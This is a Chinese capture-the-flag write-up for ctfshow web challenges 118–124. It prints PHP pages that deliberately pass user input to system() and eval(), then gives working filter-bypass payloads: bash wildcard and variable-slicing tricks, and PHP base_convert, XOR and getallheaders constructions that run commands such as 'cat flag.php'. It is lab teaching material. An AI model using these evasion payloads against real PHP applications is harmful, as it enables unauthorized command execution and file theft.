${PWD:${#}:${##}}???${PWD:${#}:${##}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

${PWD::${##}}???${PWD::${##}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

#/bin/cat flag.php
#/???/?a? flag.php
#这个出来乱码>___<   乱码>___<    乱码>___<   乱码>___<
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${USER:~A}? ????.???

${PWD::${##}}???${PWD::${##}}?${USER:~A}? ????.???

#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? ????.???

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web120

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

给黑名单了!同时有限制长度

payload

bash 复制代码
#/bin/base64 flag.php
#/???/?????4 flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web121

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

与上一题相比,只有我们用到的 SHLVL 被过滤了(虽然好像上一题也可以不用 SHLVL

bash 复制代码
一些 bash 内置变量
${#}=0
${##}=1
${#?}=1
${#??}=0

payload

bash 复制代码
#/bin/base64 flag.php
#/???/?????4 flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???


#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web122

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

过滤了 PWD#USER,白名单了 HOME

$? 表示上一条命令执行结束后的传回值。通常 0 代表执行成功,非0 代表执行有误

几种报错及对应的返回值

bash 复制代码
"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"

(所以利用<A的报错就能返回值1)

bash 复制代码
#将A文件夹内的命令重定向到终端进行执行,由于没有文件A,所以报错1
user@LAPTOP-HHK0H1KL:~$ <A
-bash: A: No such file or directory

#执行 <A 等命令会因找不到目录或者文件执行失败
user@LAPTOP-HHK0H1KL:~$ $?
1: command not found

#执行一个正确的命令
user@LAPTOP-HHK0H1KL:~$ echo hello
hello

#返回0,说明上面的命令执行成功
user@LAPTOP-HHK0H1KL:~$ $?
0: command not found
bash 复制代码
目标:构造 /bin/base64 flag.php
----->   /???/?????4 ????.???
----->   <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

payload (由于使用 RANDOM ,一定要多试几次)

bash 复制代码
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
<A;${HOME:${A}:$?}???${HOME:${A}:$?}?????${RANDOM::$?} ????.???

web124

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

get 传参 c ,长度限制 80 ,有黑白名单

简而言之,要求你构造一个使用白名单函数,又不包括黑名单符号的 payload 来命令执行

白名单中数学函数分两种利用方法,进制转换 和 异或,旨在调用能返回字符串的数学函数达到命令执行的目的。

题解一

shell 复制代码
base_convert(number,frombase,tobase);

number	    必需。规定要转换的数。
frombase	必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z               表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase	    必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表             示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec --- 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin --- 十进制转换为二进制
decbin ( int $number ) : string

dechex --- 十进制转换为十六进制
dechex ( int $number ) : string
#把十进制转换为十六进制。返回一个字符串,包含有给定 binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 "ffffffff"。

decoct --- 十进制转换为八进制
decoct ( int $number ) : string

hexdec --- 十六进制转换为十进制
hexdec ( int $number ) : string
#把十六进制转换为十进制。返回与 hex_string 参数所表示的十六进制数等值的的十进制数

十六进制的字母范围只有 a-f ,显然是不符合我们构造的要求,而三十六进制字母范围正好为 a-z 。

并且 base_convert 正好能在任意进制转换数字,这样我们传入十进制的数字,使其转换为三十六进制时,返回的字符串是我们想要的 cat 等命令。

例如:

php 复制代码
base_convert("cat",36,10);
//15941

这里,虽然可以构造纯字母字符串了,但进制转换显然不能返回 . / * 等特殊字符,而这就需要用到另一类运算函数。

如下

php异或

php 中异或运算符 ^ 是位运算符

  • 如果进行运算的都是数字,会先转换为二进制,再进行按位异或
shell 复制代码
(0 = 0000) ^ (5=0101) = (5=0101)
(1 = 0001) ^ (5=0101) = (4=0100)
(2 = 0010) ^ (5=0101) = (7=0111)

例如

php 复制代码
echo 12^9
//5
  • 如果进行运算的含有字符串

长度一致时,先把字符串 按位转换 为 ascii 码,再将 ascii 码 转换为 二进制 进行按位异或,最后输出 ascii 为异或结果的字符。

长度不一致时,按 最短 的字符串长度 按位异或

php 复制代码
echo "12" ^ "9";

#"12"是两个字符,ASCII码分别是 '1' = 49, '2' = 50
#"9" 是一个字符,ASCII码 '9' = 57
#'1' ^ '9' = 49 ^ 57 = 8 → ASCII #8(Backspace)
#输出是非可见字符,所以看到的一些奇怪的结果或看不到
php 复制代码
echo "hallo" ^ "hello;"
    
#位置	字符1	 字符2     ASCII1	  ASCII2	 异或结果	ASCII
#1		h	       h		104		   104			0		 \0
#2		a	       e		97		   101			4	   	 \x04
#3		l	 	   l		108		   108			0	 	 \0
#4		l		   l		108		   108			0	 	 \0
#5		o	 	   o		111		   111			0	 	 \0
#输出是:\x00\x04\x00\x00\x00 ------ 不是可读字符。
php 复制代码
echo 2 ^ "3"; 
#2 是整数
#"3" 是字符串,但会转成数字 3
#所以 2 ^ 3 = 1
php 复制代码
echo "2" ^ 3;
#"2" 转成整数 2
#3 是整数
#结果也是 2 ^ 3 = 1

按位异或运算的几个性质:

  1. 结合律a ^ b ^ c = a ^ c ^ b

  2. 交换律a ^ b = b ^ a

  3. 数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;

    temp = a ^ b; a = temp ^ a; b = temp ^ b;

接下来就是利用异或 构造例如这样 空格* 的特殊字符

由上面的性质 ,"a"^"a" 的结果很明显,相同即 0 ,也就是说,"a"^"a" 的结果 ascii 全 0

ascii 全 0另一位 进行 按位异或,得到结果就正是 另一位ascii 码

换言之,"a"^"x"^"a" 无论怎么调换顺序,输出的都是 xascii 码 120x 被替换为什么,结果就是所替换的那个字符的 ascii码

如果k ^ i ^ 空格* =

则有k ^ i ^ = 空格*

于是我们可以在白名单函数里面寻找 ki ,使 ki 能与 空格* 异或得到 一个值 ( 且这个值能使用数学函数 dechex 得到

利用脚本爆破

php 复制代码
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];

foreach ($whitelist as $i) {
    foreach ($whitelist2 as $k) {
        echo ($k ^ $i ^ " *") . "   $i $k\n";
    }
}

有很多符合条件的值

任取一例 10^pi^asinh 的结果为 空格*

到这里一切都很明确了,目标:构造 system('cat *')

首先反向求解

php 复制代码
echo base_convert("system",36,10);
//1751504350
echo base_convert("cat",36,10);
//15941
echo hexdec(10);
//16
//这个换算有手就行,应该不用去跑一下叭>~<

那么

php 复制代码
#这些都是字符串拼接,不用考虑括号
echo base_convert(1751504350,10,36);
//system
echo base_convert(15941,10,36);
//cat
echo dechex(16);
//10

payload

php 复制代码
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

既然能异或出特殊字符,那么也当然能异或出字母,于是可以不使用进制转换来构造关键字,待看题解三

关于上面的脚本,其实还有一个注意点:

因为 空格* 的长度是2,白名单里面函数名的长度最短的也仅只是2,所以运行出来的 $b $i $k$b 的长度就是 空格* 的长度,即2

假如把 空格* 换成 system ,很显然白名单里面函数名长度比6小的并不少,此时对于运行结果 $b $i $k $b 的长度就不见得是6了,甚至可以说较少有长度为6的 $b,再此时,对于 system ^ $i ^ $k = $b 是成立的,但是反其道求验证时, $b ^ $i ^ $k = system 就很大概率不成立了,很可能被截断成了例如 syst 这样的字符串

所以假如想要用这个方法来构造字符串,似乎有点困难,更准确地,应该说构造较长的字符串比较困难,但是对于短字符串还是可以的,例如 题解三 的 _GET

题解二

先学点前置知识

shell 复制代码
hex2bin:白名单函数,php的一个内置函数,表示将十六进制字符串转换为二进制字符串
[] 可以使用 {} 替代
php 复制代码
<?php
$a = "A";
$$a = "B";![请添加图片描述](https://i-blog.csdnimg.cn/direct/11ede673b2064a35a53da259f6adcf99.png)

echo $a . "\n";
echo $$a . "\n";
echo $A;
?>
    
//A
//B
//B

可变变量

可变变量允许动态地设置变量名

php 复制代码
$a = "land";   // 普通变量,变量名是 a,值是 "land"
$$a = "vidar"; // 可变变量,变量名是 $land,值是 "vidar"

解释:

$a 存储的是 "land"

$$a 相当于 $land,所以 $land = "vidar"

可变函数

PHP 允许变量名后加 () 来调用一个与 变量名的值 同名的函数。

php 复制代码
$func = "system";
$func("ls"); // 实际调用的是 system("ls")

因为黑名单字符过滤较多,我们也可以用 _GET[] 来传 system 之类的命令

(PHP 中的 GET 参数是通过 URL 传入的,而所有传入的参数,本质上都是字符串,不用考虑引号)

目标:构造payload

bash 复制代码
$_GET[a]($_GET[b])&a=system&b=tac flag.php

根据上文可知

[] 可用 {} 代替

hex2bin函数 可以将16进制字符串转换成2进制字符串

那么,其实,下面需要想办法构造的,仅仅只有 _GET[]

先对上面的payload做简单的替换 (变量名使用白名单里的函数)

bash 复制代码
$_GET{pi}($_GET{abs})&pi=system&abs=tac flag.php

利用进制转换

php 复制代码
echo base_convert(hex2bin,36,10);
//37907361743

echo bin2hex("_GET");
//5f474554

echo hexdec(5f474554);
//1598506324

于是

php 复制代码
echo base_convert(37907361743,10,36);
//hex2bin

echo hex2bin("5f474554")
//_GET
    
echo dechex(1598506324)
//5f474554

做替换

php 复制代码
     hex2bin
---->base_convert(37907361743,10,36)


     _GET
---->hex2bin(dechex(1598506324))
---->base_convert(37907361743,10,36)(dechex(1598506324))    

$pi = _GET

$pi = base_convert(37907361743,10,36)(dechex(1598506324))

于是 payload

php 复制代码
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
    
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
#之后查看源代码

题解三

这一次我们不再使用进制转换,而是改用异或运算来构造所需要的字符

由题解二的payload,我们的目标不变且明确:

依旧是构造payload,区别是 这次是利用异或运算,而不是进制转换

bash 复制代码
$_GET[a]($_GET[b])&a=system&b=tac flag.php

根据上文可知

[] 可用 {} 代替

hex2bin函数 可以将16进制字符串转换成2进制字符串

那么,其实,下面需要想办法构造的,仅仅只有 _GET[]$

先对上面的payload做简单的替换 (变量名使用白名单里的函数)

bash 复制代码
$_GET{pi}($_GET{abs})&pi=system&abs=tac flag.php

使用白名单里面的数学函数和数字异或生成 _GET

利用白名单里面的数学函数名与 01~99 范围的字符串异或,生成 _GET(也能得到部分特殊字符)

_GET 分为 _GET

利用脚本找到对应的值

ctfshow_web124_2.php

php 复制代码
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

echo "<pre>"; // 保留格式

foreach ($payload as $func) {
    echo "Function: " . str_pad($func, 15) . "\n";
    echo str_repeat("-", 30) . "\n";

    for ($i = 0; $i <= 9; $i++) {
        for ($j = 0; $j <= 9; $j++) {
            $xor_with = $i . $j;
            $result = $func ^ $xor_with;

            // 格式:abs ^ 00 => 结果
            echo str_pad($func, 15) . " ^ " . str_pad($xor_with, 2) . " => " . $result . "\n";
        }
    }

    echo "\n";
}

echo "</pre>";
php 复制代码
is_nan ^ 64 = _G
tan ^ 15 =ET

要注意 64 15 应该是字符串

于是

php 复制代码
      _GET
---->(is_nan^(6).(4)).(tan^(1).(5))

$pi = _GET

$pi = (is_nan^(6).(4)).(tan^(1).(5))

之后令 $pi = $$pi

$pi = $_GET

于是payload

php 复制代码
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=tac flag.php
    
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=cat flag.php
#之后查看源代码

题解四

由于payload被限制长度,且还有白名单函数限制

于是,可以利用 getallheaders 函数 获取当前请求中所有的 HTTP 请求头(headers)信息,并返回一个关联数组(即键值对数组),键是 header 名称,值是 header 的值。总之,就是获取全部 HTTP 请求头信息

目标,构造 system(getallgeaders(){1})

先对 systemgetallheaders 进行进制转换

这里要注意对 getallheaders 进行 base36 → base10 进制转换时会出现精度溢出,导致 base10 → base36 时无法正确还原

对于 getallheaders 的进制转换,(经过尝试) 选择 base29/30→base10 都可以正常转换与还原

进制转换

php 复制代码
echo base_convert("system",36,10);
//1751504350

echo base_convert("getallheaders",30,10);
//8768397090111664438

❌echo base_convert("getallheaders",36,10);
//77763910388090858426   出现精度溢出

构造

php 复制代码
echo base_convert(1751504350,10,36);
//system

echo base_convert(8768397090111664438,10,30);
//getallheaders

❌echo base_convert(77763910388090858426,10,36);
//24ki0q41g67   出现精度溢出,无法正确还原

利用白名单函数构造,这样做的目的也是为了不超字符数量限制

payload

php 复制代码
$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1});
//system(getallgeaders(){1})

在报文头中输入相应的 NameValueValue 为要执行的命令:


总结

这篇博客由 Algo 创作,旨在尽可能详尽地还原相关题目的解题思路与过程。Algo 十分注重逻辑清晰、步骤完整,也注重内容的可读性与视觉呈现,力求做到图文并茂,细节分明。

在排版方面,Algo 尽力使用恰当的标题层级、代码高亮、段落分隔,配合合适比例的截图与标注,以便读者能快速理解每一个关键点与操作步骤。同时,对每一道题的分析都尽力尝试从多角度出发,力求做到"看得懂"、"学得会"、"能复现"

尽管 Algo 已多次校对和调整,但水平有限,难免仍有理解偏差或表述不当之处。
若文中存在疏漏、错误之处或有更优的解法,欢迎各位师傅批评指正、交流学习,感激不尽。

你的支持是我分享更多免费优质内容的动力

相关推荐
BingoGo21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全
QQ5110082854 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php